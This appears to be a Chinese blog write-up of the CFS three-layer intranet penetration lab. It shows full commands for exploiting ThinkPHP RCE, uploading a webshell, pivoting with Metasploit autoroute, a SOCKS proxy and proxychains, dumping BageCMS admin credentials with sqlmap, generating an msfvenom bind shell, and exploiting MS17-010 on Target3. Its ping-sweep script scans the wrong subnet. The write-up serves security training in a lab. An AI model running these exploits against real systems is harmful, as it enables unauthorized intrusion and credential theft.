一、靶场环境

这个环境是由三台机器组成的一个内网,网络拓扑图如下

渗透的大致流程:攻击机和Target1位于同一网段,因此先把Target1拿下,然后以Target1为跳板,攻击内网中的Target2,然后同理以Target2为跳板攻击Target3。

注意:Target2和Target3位于内网中,彼此可以通信,但是无法连接外网

二、环境搭建

1、网卡配置

该环境需要由三块网卡搭建,编辑VMware的虚拟网络编辑器,网卡不够可以添加,在这我使用的是VM0、VM2、VM3,然后设置和下图一样:

然后是配置网卡给攻击机和三个靶机

攻击机kali:

配置好后查看一下IP看是否在正确的网段、并记录一下信息

kali攻击机

ip:192.168.31.187

然后是Target1:

配置好后也可以用作者给的登录密码登录进去查看一下IP

记录相关信息

Target1

登陆账号密码:root/teamssix.com

ip1: 192.168.31.12

ip2: 192.168.22.136

宝塔登陆地址和密码:

地址:http://192.168.31.12:8888/a768f109

账号:eaj3yhsl

密码:41bb8fee

Target1_ip待改

同理,将Target2的网卡配置改为VM2和VM3,Target3的网卡为VM3

然后查看一下IP是否正确

Target 2

登陆账号密码:root/teamssix.com

ip1: 192.168.22.129

ip2: 192.168.33.128

宝塔登陆地址和密码

地址:http://192.168.22.129:8888/2cc52ec0

账号:xdynr37d

密码:123qwe…

Target2_ip

Target3

登录密码:teamssix.com

ip:192.168.33.33

Target3_ip

2、宝塔配置

首先打开Target1的宝塔地址,用给的账号密码登录进去

同理,打开Target2的宝塔地址,但是因为Target2位于22网段,我们无法访问,因此我们可以给Target2添加多一个网卡VM0,以便我们配环境

然后用这个新网卡的IP去访问这个宝塔地址:http://192.168.31.9:8888/2cc52ec0

然后设置好

然后把刚才给Target2添加的网卡删除即可

三、Target1

主机探活:

1
2
3
nmap -sP 192.168.31.0/24

arp-scan -l

查看端口开放情况:

1
nmap -T4 -Pn 192.168.31.12

访问一下80端口,很明显是ThinkPHP 5.x 框架

拿出专用工具扫描一下,发现存在RCE

传马、然后蚁剑连上

随便翻下目录,发现在robots.txt、flag21sA.txt中存在flag

然后先反弹一下shell吧,可以通过msfvenom生成Linux马,然后上传再连就行。

我这里就直接通过metaploit里面的模块直接对它进行攻击

进入msf,找到ThinkPHP的漏洞利用模块

设置好相关信息即可拿到shell

拿到shell的第一时间是提权,于是我去尝试了一些提权的方法,但并没有成功。

信息收集时查看IP或者网络接口情况,发现存在22网段

1
run get_local_subnets

但是kali在31网段,无法进行通信。为了让我们的kali能和22网段的计算机进行通信,就要使用Socks代理服务。

Socks是一种代理服务,可以简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。

Socks在渗透测试中能够很方便的让我们与目标内网计算机之间通信。

因为要访问到22网段,首先添加路由,也就是开路

1
2
run autoroute -s 192.168.22.0/24
run autoroute -p

然后把当前session挂起,然后调用socks代理模块,可以查看一下配置,缺什么就加什么

1
2
3
4
5
background
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
run

开启了socks代理后,Linux中有个自带的工具可以利用本地的代理接口进行访问,就是proxychains

1
vim /etc/proxychains4.conf

把最下面的ip改成本机ip(kali)以及刚刚设置的端口号

然后在kali中要访问22网段或者用工具对22网段进行探测时,前面都要加上proxychains

1
例如:proxychains nmap 192.168.22.129

但是不能通过proxychains nmap -sP 192.168.22.0/24这种命令来找存活主机,因为这是通过ping扫来发现主机,但走代理的两台主机是无法ping通的

那我们如何找到22网段下的存活主机呢?因为Target1有一个22网段的网卡,因此它能够和22网段的主机通信、也就是能互相ping,因此我们在这台主机上写入一个sh文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/bash

for((i=1;i<=255;i++));
do
#PING并保留丢包数
p=`ping -c 1 192.168.31.$i|grep loss|awk '{print $6}'|awk -F "%" '{print $1}'`
#因为只PING一次,丢包数为0则表示成功,否则失败
if [ $p -eq 0 ]
then
echo "192.168.22.${i}|true"
else
echo "192.168.22.${i}|fail"
fi
done

添加权限:chmod 777 ping.sh

然后运行shell脚本即可

成功找到存活主机:

然后就可以开始信息收集了

1
2
3
proxychains nmap -Pn -sT 192.168.22.129
# 注意:这里必须加上Pn参数,也就是禁止ping扫,默认该主机存活;
# 如果没加上这个参数那么nmap就只会返回该主机不存活

然后如果想要在浏览器上也访问的话,只需要在浏览器上设置一下代理即可

上面是在Linux中的情况,如果想用Windows 也就是我们的物理机访问到22网段的话,可以借助一个软件:SocksCap64

点开代理

添加代理

最后在这里加入想要访问的浏览器,以及要使用的工具即可

四、Target2

开放了80端口,访问一下

发现是一个CMS的官网,指纹识别也没找到有用信息,信息收集一下发现robots.txt中存在一个路径

以及在查看源代码时发现了hint

先访问一下这个路径,虽然猜也猜得出是一个后台登录界面

那么思路就清楚了,首先通过SQL注入得到管理员账号密码,然后就可以登录后台了

sqlmap开跑

1
2
3
4
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p "keyword" --dbs
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p "keyword" -D "bagecms" --tables
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p "keyword" -D "bagecms" -T "bage_admin" --columns
proxychains sqlmap -u "http://192.168.22.129/index.php?r=vul&keyword=1" -p "keyword" -D "bagecms" -T "bage_admin" -C "username,password" --dump

成功得到账号密码:

admin / 123qwe

登录进来后即可看到flag

然后随便翻翻发现在模板这里可以编辑php文件,那就写入木马然后蚁剑连接

找到木马所在的URL

成功连接

然后就是和Target1一样的思路,添加33网段的路由,但这个操作要在msf中执行,因此先反弹shell。

因为该主机位于22网段、是无法访问外网的,因此让它主动连接我们是走不通的、只能通过正向连接。

生成Linux木马:

1
2
3
msfvenom -p linux/x64/meterpreter/bind_tcp lport=3333 -f elf -o shell.elf
# bind_tcp是正向连接
# 注意是x64,可以通过简单的信息收集知道

msf开启监听:

1
2
3
4
use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set RHOST 192.168.22.129
set LPORT 3333

在蚁剑中把该文件上传

蚁剑中打开终端,给该文件增加权限,然后运行

1
2
chmod 777 shell.elf
./shell.elf

成功连接

同样的、信息收集、查看网络,发现还有一个33网段,那么继续添加路由

1
2
3
run get_local_subnets
run autoroute -s 192.168.33.0/24
run autoroute -p

然后通过之前的ping.sh来发现33网段的存活主机

五、Target3

信息收集,找到开放端口

1
proxychains nmap -Pn -sT 192.168.33.33

445端口开放、并且是Windows系统,也许可能存在永恒之蓝

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
run

成功拿到sessions后就可以执行任意命令了

1
2
shell
chcp 65001 # 如果出现乱码,输入这个修改编码即可

然后就是寻找flag文件即可

1
2
3
4
cd / # 回到根目录
dir *flag* /s /b
# /s是指列出当前目录包含子目录下的所有文件
# /b是列出文件名称

最后用type命令进行查看

1
type C:\Users\Administrator\Desktop\flag.txt

六、总结

  1. 第一次搭建内网靶场环境,不是很熟悉,搭了一晚上才搭好。
  2. 打靶机的过程也花了好长时间,msf不知道为什么第一个session总是断开;而连接第二个靶机时总是不稳定、蚁剑时而连的上时而连不上。
  3. 内网漫游:配置socks代理、通过第一个已建立起来的session去访问其内网下的主机。
  4. 两台主机通过走代理来通信是无法ping通的。

七、参考文章

CFS三层靶机搭建及其内网渗透【附靶场环境】 | TeamsSix

CFS三层靶机搭建及其内网渗透_ZredamanJ的博客-CSDN博客

代理技术应用之三层内网漫游 - FreeBuf网络安全行业门户

内网漫游之SOCKS代理大结局 - 知乎 (zhihu.com)

论后渗透MSF之 | 添加路由和代理_msf添加路由_迷途羔羊pro的博客-CSDN博客

linux命令行代理神器-proxychains - 知乎 (zhihu.com)